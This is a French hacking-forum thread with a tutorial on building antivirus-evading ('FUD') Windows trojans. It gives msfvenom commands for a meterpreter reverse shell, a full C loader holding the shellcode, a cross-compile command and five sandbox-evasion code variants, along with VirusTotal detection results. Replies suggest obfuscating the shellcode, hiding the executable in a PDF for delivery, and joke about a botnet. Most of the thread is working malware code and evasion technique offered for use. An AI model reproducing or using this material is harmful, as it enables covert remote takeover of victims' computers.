Auteur Sujet: Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)  (Lu 38376 fois)

0 Membres et 1 Invité sur ce sujet

Hors ligne WK

  • Contributeur de Kali-linux.fr
  • Membre régulier
  • *****
  • Messages: 188
  • +19/-1
Pour suivre cet article/tuto, il vous faudra les connaissances de bases en langage C et naturellement de Kali Linux et plus particulièrement msfvenom.

La méthode utilisée dans cet article est de créer un programme en langage C qui exécutera un shellcode contenu dans le programme.
Le fer de lance de cette méthode consiste à compiler soit-même l'exécutable pour éviter de se faire bloquer à cause de la signature de notre executable (car un avantage de cette méthode est qu'il suffit de modifier une ligne de notre code pour changer la signature de notre programme..) et ensuite de tenter de flouer l'analyse heuristique des antivirus avec quelques lignes de codes supplémentaires.
Je recommande donc de comprendre les bases du fonctionnement des antivirus, savoir ce qu'est la signature d'un programme, l'analyse heuristique, le fonctionnement global des antivirus, etc.. Google est votre ami :-)

N.B: Dans cet article je vais utiliser VirusTotal sans remords car :
- Je ne compte de toute manière pas utiliser ces trojans
- Comme dit plus haut,  il suffit de changer une ligne ou meme de mettre un shellcode différents pour changer la signature. Si les cas présentés ici sont bientôt reconnus par les antivirus, ca évitera aux scripts-kiddies de copier ces codes bêtement.

Avant de commencer, voici le résultat d'un scan sur virustotal d'un reverse_tcp banal encodé avec shikata_ga_nai.

La commande :

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.30 LPORT=4444 -e x86/shikata_ga_nai -i 4 -f exe >> '/home/WhiteKoala/Bureau/msfvenom'


Oulah.. J'ai connu MsfVenom dans de meilleurs jours.

Maintenant passons à la pratique. Je vais appeler le document texte qui contiendra le code "WK_AV_Fucker.c" "shellcode.c".
La base de notre code ressemblera à ceci :

#include <stdlib.h> //Les Headers dont nous aurons besoin
#include <stdio.h>
#include <string.h>
#include <windows.h>           

int main(int argc, char * argv[])
{

unsigned char shellcode[] = \
"x14\x03\x50\x14\x83\xe8..."      //Notre ShellCode

 
int (*ret)() = (int(*)())shellcode;   //Création d'une fonction qui exécute le ShellCode

ret(); //On exécute notre ShellCode

                       

return 1;
}

Je vous laisse deviner quelle ligne j'ai piqué sur StackOverflow ! :D
"int (*ret)()" créer un pointeur nommé 'ret' sur une fonction.
"(int(*)())shellcode" créer un pointeur du même type sur notre shellcode.

(Comme c'est assez obscur -> https://openclassrooms.com/courses/les-pointeurs-sur-fonctions-1 )

En bref, on peut dire que cette ligne veut dire: "je crée une fonction et je lui donne comme contenu l'adresse de mon shellcode".
Il suffira d'appeler le pointeur de cette fonction pour exécuter le shellcode.

Maintenant que le "squelette" de notre trojan est posé, tentons un premier esssai !
Tout d'abord, créons notre shellcode avec msfvenom et la commande

msfvenom -p windows/meterpreter/reverse_tcp LHOST=votre_ip LPORT=port -e x86/shikata_ga_nai -i 4 -f c
Maintenant copier le shellcode donné par msfvenom et mettez le dans notre variable shellcode, ce qui (me) donne ceci :

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>

int main(int argc, char * argv[])
{


unsigned char shellcode[] = \
"\xba\x23\x2f\x1b\xff\xda\xc9\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"
"\x68\x83\xef\xfc\x31\x57\x10\x03\x57\x10\xc1\xda\xa6\x70\xf0"
"\x8f\x0f\x57\x30\x16\xdb\x4c\x30\xf3\x15\x44\x09\x65\x67\x3c"
"\x7c\x65\xed\xd5\xfd\xab\xf5\x37\x7b\x67\xf9\xf3\xd7\x30\x8c"
"\x79\x52\x6c\x80\x23\x41\xbf\x1b\xd8\xff\xbc\x4b\xf1\x44\x83"
"\x00\x00\xd4\x5f\x5f\x0c\x15\x9c\x50\xbc\xf0\x58\x8e\xdf\x59"
"\x0c\x75\xa3\x21\x77\x61\xd4\xcf\x71\x74\x52\xe5\x16\x9c\xca"
"\x25\xa9\x28\x9e\xa3\x81\x5b\x88\xa3\x11\xff\x55\xf0\x3c\x09"
"\xb8\xc3\x9a\x96\x62\x77\xc4\xfe\x49\x42\xd3\x6a\x1a\x71\x11"
"\x2f\xd3\xc6\xb9\x8e\x11\x0f\xe7\x0a\xef\xb7\xaf\x05\x66\x9a"
"\x68\x7c\x92\x9b\xd7\xfc\x07\x16\x4c\x6b\x75\xfb\x1e\x77\x2d"
"\x92\x16\x26\x36\x78\xd0\x3c\xe6\xe3\x8d\x1c\x66\x38\xa6\xcb"
"\x08\x2a\x34\x03\x64\x13\x09\x75\xbb\x9c\xc5\x37\x4b\x1c\x64"
"\x0d\x7f\xa7\xe2\x19\x59\xfa\x15\x53\xd4\xb4\x91\x01\x39\x1b"
"\xfb\x41\x5f\x3b\x49\x65\x0b\x74\x98\xfc\xa6\x1a\x9f\x61\x4a"
"\xd0\xd5\x44\x7c\x8c\x8f\xc3\xd7\xf6\xe7\xf2\x0c\x2d\x23\x1c"
"\x5f\xb2\xc7\x57\xa9\x3c\x5d\xec\xbe\x00\xec\xd4\xe0\xe7\x2e"
"\x5a\x2c\x20\xed\x1e\xcc\x67\xd7\x93\x1d\x8b\x6d\x77\x14\xdb"
"\x41\xb5\xd3\xb5\x66\xbb\x23\x36\x41\xa6\x16\xa9\xe5\x29\x67"
"\x91\x71\x7b\xa9\x3f\xc5\xfd\x11\x56\xf7\xc9\x39\xb3\x2d\x5b"
"\xe4\xd1\x96\xa8\xde\x61\x60\x21\xc7\xc4\x7d\x7e\xa9\x15\x3a"
"\xff\xc0\x90\x3b\xbc\xb6\x19\x20\xdb\xb0\x42\x1c\xba\x7d\xb9"
"\x98\x01\x0c\x18\x9d\x73\x07\xe9\xeb\xb0\xa9\xa0\xe7\xea\xcc"
"\xfa\x3b\xfa\x88\x6a\x70\x28\x11\x1b\x12\x0e\x4e\x22\x67\x62"
"\x01\x84\x3d\x7a\x6e\x78\xf5\x78\x91\x7c\x43\xc5\x57\x94\x25"
"\xf1\xe4\x0b\x36\xca\x10\x08\x93\x89\xe6\xcf\xcb\xfe\xae\xb4"
"\x5c\xf4\x40\x47\x69\x78\x00\x38\xbc\x49\x18\x88\x24\x1c\x18"
"\x13\x45\x68\x50\xe1\xc0\xc2\x17\x67\x2e\x72\xa9\x5e\x7a\xe8"
"\x4f\x32\x56\x62\x2a\x90\x0f\x14\x0f\x9c\x84\x32\xa5\x9b\xb4"
"\x4e\xc4\x9e\x96\x4c\x9e";


int (*ret)() = (int(*)())shellcode;

ret();

                       

return 1;
}

Et maintenant, la terrible épreuve de la cross-compilation. Je ne vais pas trop passer de temps sur la cross-compilation, donc concrètement il faut installer mingw-w64 avec un petit "apt-get install mingw-w64" et on compile avec la commande "i686-w64-mingw32-gcc" de la même manière qu'avec gcc.
Compilons notre exécutable que je vais appellez sobrement WK.exe !
i686-w64-mingw32-gcc -fno-stack-protector -o '/home/WhiteKoala/Bureau/WK.exe' '/home/WhiteKoala/Bureau/shellcode.c'   
Je peux vous assurer que de mon coté il marche parfaitement (vous pouvez le tester sur une machine windows ou simplement avec wine).
Maintenant, le résultat sur VirusTotal !

/!\ EDIT /!\ IL SE TROUVE QUE CE COMPILATEUR EST LA RAISON POUR LAQUELLE LES TROJANS NE SONT PAS TOTALEMENT FUD. LES CODES PRÉSENTÉS ICI SONT EN RÉALITÉ BEAUCOUP PLUS EFFICACE EN UTILISANT LE COMPILATEUR DE VISUAL STUDIO PAR EXEMPLE.




Mais c'est déjà pas mal ! Je me demande même si des outils comme shellter ou veil-evasion font mieux.
Maintenant passons aux choses sérieuses, c'est parti pour la liste non-exhaustive d'astuces pour tendre vers un 0/54 !


-------------------------------ASTUCE N°1 : Hello Windaube ! ----------------------------

Cette astuce donnée généreusement par HWW consiste à vérifier l'existence du fichier "C:\\WINDOWS\\WindowsUpdate.log" dans le système avant de déployer notre payload. En effet, si notre trojan tourne dans un sandbox d'un antivirus, il ne pourra pas ouvrir le fichier, et il suffira de rediriger notre prorgamme vers la sortie comme un gentil programme inoffensif pour que l'antivirus ne se doute de rien. Mais si le fichier WindowsUpdate existe, cela voudrait dire que nous sommes dans un système Windows, et donc là on balance notre charge !
Bon, voyons à quoi ressemblerai notre code dans shellcode.c :

N.B: Vu que je n'ai que Windows XP en stock sur Virtualbox, le fichier s'appelait WindowsUpdate.log, mais il est probable qu'il se nomme autrement suivant le système visé.
//HEADERS

int main(int argc, char * argv[])
{
FILE *ExistenceFichier = fopen("C:\\WINDOWS\\WindowsUpdate.log", "r"); //On tente d'ouvrir le fichier en mode lecture
if(ExistenceFichier != 0) // Si ca marche..
{

unsigned char shellcode[] = \
"\xba\x23\x2f\x1b\xff\xda\xc9\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"     //ShellCode fortement raccourci pour l'exemple
.............................................................
"\x4e\xc4\x9e\x96\x4c\x9e";


int (*ret)() = (int(*)())shellcode;
//Execution du ShellCode
ret();
}
else printf("Nous nous sommes trompé de système, désolé !");    //Nous sommes dans un sandbox !
                       

return 1;
}

Hop, je compile et j'envoie mon "new" WK.exe sur VirusTotal et..



TADAAAAAM !! On voit bien à quoi cela tient ^^

---------------------------- ASTUCE N°2 : Comment je m'appelle encore .. ---------------

Cette astuce-ci est dans le même genre que la première astuce. Lors d'une analyse heuristique, l'antivirus ne garde pas le nom du programme tel qu'il est mais utilisera plutôt un nombre pour s'y retrouver.
Le concept est simple, il suffit de vérifier si notre programme a toujours le même nom ! Si oui, on dégaine le payload !
Voici le code :
//HEADERS

int main(int argc, char * argv[])
{
if(strstr(argv[0],"WK")>0) //Comparaison avec le nom de l'executable
{
unsigned char shellcode[] = \
"\xba\x23\x2f\x1b\xff\xda\xc9\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"     //ShellCode fortement raccourci pour l'exemple
.............................................................
"\x4e\xc4\x9e\x96\x4c\x9e";


int (*ret)() = (int(*)())shellcode;
//Execution du ShellCode
ret();
}
else printf("Nous nous sommes trompé de système, désolé !");    //Nous sommes dans un sandbox !
                       

return 1;
}

Compilons et observons le résultat..



Pas mal pas mal !


--------------------------------- ASTUCE N°3 : Rattrape-moi si peux ! --------------------

Cette méthode est très simple. Comme l'antivirus ne peut pas analyser le fichier trop longtemps pour ne pas gêner l'utilisateur, il suffit de "l'occuper" assez longtemps pour qu'il abandonne et passe à autre chose avant de sortir notre ShellCode ! Et quoi de mieux pour occuper un ordinateur? Lui faire faire des calculs !
Passons directement au code :
//HEADERS

int main(int argc, char * argv[])
{
int i=0;
while(i<100000000) //100000000 opérations
{
i++;
}
if(i>99000000) //Si les opérations ont bien été calculées
{

unsigned char shellcode[] = \
"\xba\x23\x2f\x1b\xff\xda\xc9\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"     //ShellCode fortement raccourci pour l'exemple
.............................................................
"\x4e\xc4\x9e\x96\x4c\x9e";


int (*ret)() = (int(*)())shellcode;
//Execution du ShellCode
ret();
}
                       

return 1;
}
Ainsi, la boucle while oblige le programme à faire 1000000000 opérations avant de dévoiler le shellcode, ce qui espérons sera assez pour doubler les antivirus. Compilons..



Encore 3/54 ! Etrangement, ce ne sont jamais les 3 mêmes, et encore plus étrange, ce ne sont pas forcément les antivirus les plus connus ou ceux qu'on attendait au rendez-vous qui se montrent..

---------------------- ASTUCE N°4 : Il est quelle heure ? ------------------------------

Voici une astuce crétive et divertissante qui me plaît! L'idée est simple : comme le temps n'est émulé dans un sandbox et que les commandes comme "sleep" sont ignorées pour gagner du.. temps, il suffit de profiter de cette vulnérabilité ! Ici, l'on va prendre l'heure à un instant T, puis attendre avec un sleep. Ensuite, il sufffira de reprendre l'heure à l'instant T' et de comparer si il y a une différence entre T et T' ! Si il y a la différence désirée c'est que nous somme dans un "vrai" système, sinon, un sandbox.
Voici notre shellcode.c :
//HEADERS

int main(int argc, char * argv[])
{
DWORD time1, time2, difference;
time1 = GetTickCount(); //On prend l'heure à l'instant T
Sleep(1000); //On attend 1 seconde
time2 = GetTickCount(); //On prend l'heure à l'instant T', Logiquement T' = T + 1 sec
difference= time2-time1;
if(difference >= 1000) //Si T'=T+1 seconde, lançcons le shellcode !
{

unsigned char shellcode[] = \
"\xba\x23\x2f\x1b\xff\xda\xc9\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"     //ShellCode fortement raccourci pour l'exemple
.............................................................
"\x4e\xc4\x9e\x96\x4c\x9e";


int (*ret)() = (int(*)())shellcode;
//Execution du ShellCode
ret();
}
                else printf("Hello my dear Sandbox !");       

return 1;
}
Qu'en dis VirusTotal?



Hohohooo ! Not bad, not bad. Allez, passons à la dernière astuce.

--------------------- ASTUCE N°5 : Le retour du fils prodigue ! ------------------------

Je suis sûr que ca vous a effleuré l'esprit avec les astuces précédentes : et si on semait l'antivirus en allouant de la mémoire ?
Commençons par allouer 100Mo de mémoire pour voir si l'antivirus abandonnera.
//HEADERS

int main(int argc, char * argv[])
{
char *alloc = malloc(100000000); //On allloue beaoucoup de mémoire
if(alloc!=NULL) //Si l'allocation a réussie
{

unsigned char shellcode[] = \
"\xba\x23\x2f\x1b\xff\xda\xc9\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"     //ShellCode fortement raccourci pour l'exemple
.............................................................
"\x4e\xc4\x9e\x96\x4c\x9e";


int (*ret)() = (int(*)())shellcode;
//Execution du ShellCode
ret();
}
                       

return 1;
}
On compile et upload..



6/54.. Un peu décevant.. Mais aisément expliquable ! L'AV voyant qu'on alloue trop de mémoire sans interêt doit se douter du pot aux roses.
Il faudrait faire pareil, sauf que :
         - l'on alloue plus de variables pour lasser l'AV
         - l'on utilise ces variables comme un programme 'normal'

Voici le code un peu modifié :
//HEADERS

int main(int argc, char * argv[])
{
int k=0;
while(k<10000) //On alloue 99999 fois un tableau de 100000 caractères que l'on remplit de 6
         {
    int j=0;
    int tableau2[100000];
    while (j<99999)
    {
                tableau2[j]=6;
                          j++;
       
                }
            k++;
          }
                if(k>9000)
                {
unsigned char shellcode[] = \
"\xba\x23\x2f\x1b\xff\xda\xc9\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"     //ShellCode fortement raccourci pour l'exemple
.............................................................
"\x4e\xc4\x9e\x96\x4c\x9e";


int (*ret)() = (int(*)())shellcode;
//Execution du ShellCode
ret();
}
                       

return 1;
}

Je pense que des explications supplémentaires ne sont pas nécéssaires, voyons ce qu'en dit VirusTotal !



Youpee ! 1/54 ! Même les programmes bien intentionnés que je code ont un plus mauvais ratio !
Bref, on approche du FUD, on approche de la conclusion.

/!\ EDIT /!\ : En réalité le FUD est aisément atteint ici. Si les AV stoppent vos trojans ici c'est simplement la faute au compilateur. Ce code compilé avec Visual Studio est totalement FUD !  :-X

------------------------ CONCLUSION -------------------------------------

Premièrement, cet antivirus nommé 360 Total Security m'a relativement étonné. J'ai testé en condition réelle sur une machine virtuelle Windows avec l'antivirus de Microsoft Windows Defender, AVG et Kasperksy mon "WK_AV_Fucker.exe" (j'adore ce nom) et c'est passé crème aucun antivirus n'a moufté. Puis j'ai installé 360 Total Security et lui était plus intransigeant :(
En fait ces antivirus bloquent juste les executables venant de MingW32, ce qui est tout de suite moins valorisant.
Quoiqu'il en soit je ne connaissais pas cet antivirus gratuit avant mais il me prive d'un beau 0/54Ah ben non en fait.. (Je n'ai pas été plus loin pour le test de cet AV, si ca se trouve il chie des fauxs-positifs cet AV). J'ai eu beau mixer mes techniques et tenter mêmes de rajouter d'autres plus compliquées mais rien n'y faisait. Dire qu'il suffisait juste de changer de compilateur..
Ne faisant que relativement confiance à VirusTotal j'ai passé une journée à tester sur des antivirus en machine virtuelle, et Avira, Panda, McAfee, Windows Defender, AVG, Kasperksy(le scan gratuit) et Norton(le payant) m'ont déçus. Vraiment tous.
Cependant je dois attribuer une bonne note à Avast qui a stoppé mon trojan. Je retirece que j'ai dis il fait pas mieux.
Je pense aussi que le ShellCode est capital dans cette technique, et je suis sûr que pour avoir un trojan totalement FUD (Même si celui-ci comble toutes mes espérences, quand j'en faisais avec MsfVenom ou veil-evasion ils ne passaient même pas Windows Defender) il faut creuser du coté du cryptage de shellcode. D'ailleurs je dirige mon étude maintenant vers les packers et ce genre de choses divertissantes.
Je tient à dire aussi que je n'ai pas trouvé tout ca tout seul et que j'ai lu énormément d'articles et de documentations qui m'ont été indispensables.
Je n'ai pas noté les sources mais de toute manière tout vient de google et des mots clés 'bypass' 'AV' 'shellcode' 'langage C' etc..

Finalement je pense à créer un programme qui feraient ces trojans automatiquement à la manière d'un msfvenom mais avec ces méthodes présentées plus haut (plus celles que je trouverais je l'espère). Dites moi si vous pensez que ce serait intéressant et/ou utile. J'attend toujours des avis à ce niveau, surtout si ce programme sait chier des trojans totalement FUD.
N'hésitez pas à commenter,

Merci !
« Modifié: 06 août 2016 à 12:53:34 par WK »

Hors ligne HWW

  • Membre régulier
  • **
  • Messages: 113
  • +5/-0
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #1 le: 02 août 2016 à 08:28:54 »
    Super tuto WK ! Mais je pensais justement à quelque chose pour aider WK_AV_Fucker.c, je pense qu'il est reconnu par le code du shellcode. Ne serait il pas possible de le découper et de l'assembler puis exécuter seulement s'il n'est pas en sandbox ?

    Exemple :
    SHC_1 = Premier tiers du shell
    SHC_2 = Deuxième tiers du shell
    SHC_3 = Troisième tiers du shell
    • If condition on est pas dans Antivirus
      SHC = 'SHC_1' + 'SHC_2' +'SHC_3'
      Executer SHC
    • Else print "Ici Delta, restez à couvert, cible en vue"


Tu penses que ca pourrait aider ?

Et +1 pour le tuto  8) ;)

H
« Modifié: 02 août 2016 à 08:31:08 par HWW »

Hors ligne WK

  • Contributeur de Kali-linux.fr
  • Membre régulier
  • *****
  • Messages: 188
  • +19/-1
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #2 le: 02 août 2016 à 13:58:17 »
En fait j'ai déjà essayé et j'ai été jusqu'à découper le shellcode en 8 fois  ;D ça ne marchait pas.. Mais à la réflexion je pense que je m'y suis mal pris car en découpant en 8 parties égales on laisse peut être "la" ligne que les AV repèrent intacte. Je vais réessayer mais en ne coupant pas comme un bourrin mais en prenant un plus petit shellcode et en cherchant les bonnes lignes à couper.

Donc merci ta réflexion m'es très utile ! Surtout que tu me rappelles qu'à ce moment là j'avais eu l'idée de stocker le shellcode "à l'envers" dans le code (genre 'ruojnob' au lien de 'bonjour') et de le remettre à l'endroit si tout allait bien. A essayer ajdh .. ;-)

Hors ligne HWW

  • Membre régulier
  • **
  • Messages: 113
  • +5/-0
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #3 le: 02 août 2016 à 14:24:48 »
Yeap pas bête, tiens moi au jus ;) Mais il n'y aura pas un problème lors de la cross-compilation si le code du shell est divisé ?

Hors ligne WK

  • Contributeur de Kali-linux.fr
  • Membre régulier
  • *****
  • Messages: 188
  • +19/-1
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #4 le: 02 août 2016 à 15:22:56 »
Il faudra juste créer une fonction qui assemble le shellcode et l'appeler seulement si les conditions sont respectées comme ça le shellcode n'apparaîtrait jamais en clair si le trojan tourne dans un sandbox.

Hors ligne HWW

  • Membre régulier
  • **
  • Messages: 113
  • +5/-0
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #5 le: 02 août 2016 à 15:44:56 »
Et as tu essayé de "cacher" ton .exe dans un pdf ? Ca limiterait encore plus les chances de FUD et faciliterait l'envoi non ?

Hors ligne WarLocG

  • Contributeur de Kali-linux.fr
  • Membre sérieux
  • *****
  • Messages: 474
  • +67/-0
  • Spé Code Python Java Bash
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #6 le: 02 août 2016 à 16:01:31 »
Afin de t'aider avec la détection du système Windows, un petit code pour connaitre la version. Si tu sais que tu es avec une version 5.1.2600 tu sais que c'est XP et du coup tu sais où chercher quels fichiers ;)

#include <stdio.h>
#include <windows.h>

void main(){
#if defined(_WIN32)
  DWORD dwVersion = GetVersion();

  // Get the Windows version.

  DWORD dwMajorVersion = (DWORD)(LOBYTE(LOWORD(dwVersion)));
  DWORD dwMinorVersion = (DWORD)(HIBYTE(LOWORD(dwVersion)));
  DWORD dwBuild = 0;

  // Get the build number.

  if (dwVersion < 0x80000000) dwBuild = (DWORD)(HIWORD(dwVersion));

  printf("Version: %d.%d (%d)",dwMajorVersion,dwMinorVersion,dwBuild);
#else
  puts("Systeme non Windows 32");
#endif
}


Référence : https://msdn.microsoft.com/en-us/library/windows/desktop/ms724439%28v=vs.85%29.aspx
A lire avant de poser vos questions : http://www.linux-france.org/article/these/smart-questions/smart-questions-fr.html
Pour les questions de base sous debian : https://debian-facile.org/index-df.php
Veuillez utiliser la fonction Rechercher avant de poster.

Hors ligne HWW

  • Membre régulier
  • **
  • Messages: 113
  • +5/-0
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #7 le: 02 août 2016 à 16:18:32 »
Yeap et ensuite créer plusieurs conditions afin de proposer ou aller chercher. Et après faut voir si tu tombes sur une base Linux.
Après l'amélioration de ce script est infini ! :D

Hors ligne WK

  • Contributeur de Kali-linux.fr
  • Membre régulier
  • *****
  • Messages: 188
  • +19/-1
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #8 le: 02 août 2016 à 16:22:48 »
Oui et pourquoi pas en faire un qui ferait la meme chose que ce soit sur Linux, MacOS ou Windows  ;D
À nous le botnet !  :P

Hors ligne HWW

  • Membre régulier
  • **
  • Messages: 113
  • +5/-0
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #9 le: 02 août 2016 à 16:30:00 »
J'irais pas jusqu'à la mais ca peut êtr eun projet intéressant et enrichissant ;)

Hors ligne WK

  • Contributeur de Kali-linux.fr
  • Membre régulier
  • *****
  • Messages: 188
  • +19/-1
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #10 le: 02 août 2016 à 20:35:34 »
Oui je rigolai pour le botnet ^^

Petit retour sur le "découpage" du shellcode ainsi que la mise à l'envers -> Ca marche pas.
Je viens de tenter de changer totalement l'ordre de manière aléatoire des instructions grâce à un petit programme et même comme cela ca ne change absolument rien.
Conclusion, qu'importe l'ordre, que ce soit à l'endroit à l'envers ou aléatoire, c'est pareil pour l'AV.
Conclusion bis: L'antivirus doit surement choper le shellcode grâce à quelques instructions précises, qu'importe ou elles sont.

Hors ligne Checkfx

  • Contributeur de Kali-linux.fr
  • Membre sérieux
  • *****
  • Messages: 401
  • +28/-3
  • ! Bazinga
    • Kali Québec
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #11 le: 03 août 2016 à 03:02:34 »
Je me permet un petit commentaire !  :P

DIIIIEEU ENFIN DU BON CONTENU SUR CE SITE !


Ce que j'en ai marre des merdiques questions de aircrack !  ::)
« Modifié: 03 août 2016 à 03:49:37 par Checkfx »

Hors ligne coyotus

  • Contributeur de Kali-linux.fr
  • Membre Elite
  • *****
  • Messages: 3785
  • +263/-30
  • IN GNU WE TRUST
    • Groupe d'Utilisateurs de GNU/Linux...
Je me permet un petit commentaire !  :P

DIIIIEEU ENFIN DU BON CONTENU SUR CE SITE !


Ce que j'en ai marre des merdiques questions de aircrack !  ::)
Tu m'as devancé lol

Hors ligne HWW

  • Membre régulier
  • **
  • Messages: 113
  • +5/-0
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #13 le: 03 août 2016 à 08:21:43 »
Dans ce cas la WK pourquoi ne pas laisser paraitre le shell code pour quelque chose d'autre. Facile à faire de plus. Remplacer de base les x par des z ou autres lettre en dehors de A,B,C,D,E,F (lettres utilisées en hexa). Et rentrer ce remplacement en tant que condition.

If condition : dans un virus = rien faire
else : remplacer les 'z' par des 'x' and s'executer

Vous en pensez quoi ?

Aussi, certains antivirus se basent sur la réputation d'un fichier. Pour ne pas appliquer ce shell code dans l'un d'entre eux. Certes ca changera la signature du fichier mais peut être, je dis bien peut être car cela peut avoir l'effet inverse, s'imprégner de la réputation de cette signature pour passer les anti-virus ? :)
« Modifié: 03 août 2016 à 08:25:50 par HWW »

Hors ligne WK

  • Contributeur de Kali-linux.fr
  • Membre régulier
  • *****
  • Messages: 188
  • +19/-1
Je me permet un petit commentaire !  :P

DIIIIEEU ENFIN DU BON CONTENU SUR CE SITE !


Ce que j'en ai marre des merdiques questions de aircrack !  ::)
Tu m'as devancé lol

Merci ca fait sincèrement plaisir d'avoir des bons retours de vos parts  :D

Dans ce cas la WK pourquoi ne pas laisser paraitre le shell code pour quelque chose d'autre. Facile à faire de plus. Remplacer de base les x par des z ou autres lettre en dehors de A,B,C,D,E,F (lettres utilisées en hexa). Et rentrer ce remplacement en tant que condition.

Vous en pensez quoi ?

A priori je pense qu'il y aura un problème de compatibilité. Quand on stocke la variable :
unsigned char x[]="\xa6";x ne vaut qu'un octet, celui d'un nombre. Le "\x" est une sorte de flag
Mais si on fait :
unsigned char x[]="\za6";x sera codé sur 4 octets.
Donc je pense qu'un problème se posera à la conversion, maintenant j'avais pas du tout pensé à ça donc j'essayerai tantot. Si ca marche ca me dérange pas de cravacher à faire un décrypteur qui me fasse suer ^^

Aussi, certains antivirus se basent sur la réputation d'un fichier. Pour ne pas appliquer ce shell code dans l'un d'entre eux. Certes ca changera la signature du fichier mais peut être, je dis bien peut être car cela peut avoir l'effet inverse, s'imprégner de la réputation de cette signature pour passer les anti-virus ? :)

Perso je vois pas du tout comment faire mais si c'est possible.. j'aimerai bien le savoir  :P
J'avais déjà fait des recherches la dessus du style 'fusionner deux executables' et c'était pas fameux fameux..